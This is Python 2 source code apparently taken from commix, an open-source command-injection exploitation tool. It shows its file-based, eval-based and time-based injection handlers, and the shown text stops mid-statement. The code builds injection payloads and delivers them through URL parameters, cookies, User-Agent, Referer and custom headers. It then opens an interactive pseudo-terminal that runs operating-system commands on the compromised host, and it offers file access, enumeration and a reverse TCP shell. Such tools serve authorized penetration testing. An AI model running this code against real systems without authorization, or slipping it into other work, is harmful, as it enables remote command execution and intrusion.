"Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... " print settings.print_info_msg(info_msg) i = 0 TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification(url, technique): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation(url, delay, filename, tmp_path, http_request_method, url_time_response) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell : payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) response = fb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) response = fb_injector.referer_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, delay) time.sleep(delay) try: # Check if defined extra headers. request = urllib2.Request(output) headers.do_check(request) # Evaluate test results. output = urllib2.urlopen(request) html_data = output.read() shell = re.findall(r"" + TAG + "", html_data) if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL info_msg = "Testing the " + technique + "... [ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0 : # delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # if settings.VERBOSITY_LEVEL >= 1: # print "" raise urllib2.HTTPError(url, 404, 'Error', {}, None) except urllib2.HTTPError, e: if str(e.getcode()) == settings.NOT_FOUND_ERROR: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split(menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == settings.FAILED_TRIES and no_result == True : warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print "" while True: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) tmp_upload = sys.stdin.readline().replace("\n","").lower() if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print "" raise else: if tmp_upload == "": tmp_upload = "enter" err_msg = "'" + tmp_upload + "' is not a valid answer." print settings.print_error_msg(err_msg) pass continue else: if exit_loops == False: if not settings.VERBOSITY_LEVEL >= 1: if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" else: percent = str(float_percent)+ "%" info_msg = "Testing the " + technique + "... [ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: continue else: raise elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print settings.print_critical_msg(err_msg) + "\n" sys.exit(0) elif str(e.getcode()) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print settings.print_critical_msg(err_msg) + "\n" sys.exit(0) except KeyboardInterrupt: if settings.VERBOSITY_LEVEL >= 1: print "" # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except urllib2.URLError, e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print "" # Provide custom server's root directory. custom_srv_root_dir() continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False if not settings.VERBOSITY_LEVEL >= 1 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower() if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" break elif enumerate_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options() and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL >= 1: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : if settings.ENUMERATION_DONE != True: print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace("\n","").lower() if file_access_again in settings.CHOICE_YES: fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) #print "" # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print "" fb_enumeration.single_os_cmd_exec(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) if settings.VERBOSITY_LEVEL >= 1: print "" delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL >= 1: print "" if go_back == True: break question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace("\n","").lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print "" if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, delay, go_back_again) if go_back: break else: response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay) shell = "".join(str(p) for p in shell) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" if not shell or shell == "": if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg(err_msg) + "\n" elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: if settings.VERBOSITY_LEVEL >= 1: print "" # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise
def eb_injection_handler(url, delay, filename, http_request_method): counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based command injection" technique = "eval-based code injection technique" for item in range(0, len(settings.EXECUTION_FUNCTIONS)): settings.EXECUTION_FUNCTIONS[ item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS url = eb_injector.warning_detection(url, http_request_method) if not settings.LOAD_SESSION: info_msg = "Testing the " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len( settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.EVAL_PREFIXES: for suffix in settings.EVAL_SUFFIXES: for separator in settings.EVAL_SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = eb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = eb_payloads.decision( separator, TAG, randv1, randv2) suffix = urllib.quote(suffix) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Fixation for specific payload. if ")%3B" + urllib.quote(")}") in payload: payload = payload.replace( ")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}")) #payload = payload + TAG + "" # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) else: payload = re.sub(" ", "%20", payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: sys.stdout.write( "\n" + settings.print_payload(payload)) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = eb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = eb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = eb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = eb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: found_cookie_injection = False # Check if target host is vulnerable. response, vuln_parameter = eb_injector.injection_test( payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, delay) # Evaluate test results. shell = eb_injector.injection_test_results( response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent) + "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent) + "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub( "%20", " ", payload) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input( "\n" + settings.print_question_msg(question_msg) ).lower() if enumerate_again in settings.CHOICE_YES: eb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) print "" break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): eb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) if not menu.file_access_options( ) and not menu.options.os_cmd: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() if file_access_again in settings.CHOICE_YES: eb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" eb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) print "" # Check if defined single cmd. if menu.options.os_cmd: if not menu.file_access_options(): print "" eb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print "" if cmd.lower( ) in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options( cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": warn_msg = "You are already into an 'os_shell' mode." print settings.print_warning_msg( warn_msg) + "\n" elif os_shell_option == "reverse_tcp": settings.REVERSE_TCP = True # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp( ) if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options( settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options( ) result = checks.check_reverse_tcp_options( cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. response = eb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. shell = eb_injector.injection_results( response, TAG, cmd) if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The reverse TCP connection has failed!" print settings.print_critical_msg( err_msg) else: pass else: # The main command injection exploitation. response = eb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload( url, delay) if menu.options.ignore_session or\ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = eb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell).replace( " ", "", 1) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) #if shell: if shell != "": shell = "".join( str(p) for p in shell) # if settings.VERBOSITY_LEVEL >= 1: # print "" print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if no_result == True: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False is_vulnerable = False again_warning = True false_positive_warning = False export_injection_info = False how_long = 0 how_long_statistic = 0 injection_type = "Blind Command Injection" technique = "time-based injection technique" if menu.options.verbose: print settings.INFO_SIGN + "Testing the " + technique + "... " # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: print Fore.YELLOW + settings.WARNING_SIGN + "The '--url-reload' option is not available in " + technique + "." + Style.RESET_ALL # Calculate all possible combinations total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION)) for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification(url, technique): cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Define alter shell alter_shell = menu.options.alter_shell # Change TAG on every request to prevent false-positive results. TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: if alter_shell: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, delay, http_request_method) else: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision(separator, TAG, output_length, delay, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) if menu.options.base64: payload = base64.b64encode(payload) # Check if defined "--verbose" option. if menu.options.verbose: print Fore.GREY + settings.PAYLOAD_SIGN + payload.replace("\n", "\\n") + Style.RESET_ALL # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic = how_long_statistic + how_long # Reset the how_long_statistic counter if output_length == tag_length - 1: how_long_statistic = 0 # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2)) if percent == 100 and no_result == True: if not menu.options.verbose: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = "" else: if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Windows targets. if settings.TARGET_OS == "win": if how_long > (how_long_statistic / output_length): false_positive_fixation = True else: false_positive_warning = True # Unix-like targets. else: if delay == 1 and (how_long_statistic == delay) or \ delay == 1 and (how_long_statistic == how_long) or \ delay > 1 and (how_long_statistic == (output_length + delay)) and \ how_long == delay + 1: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning and again_warning: again_warning = False warning_msg = 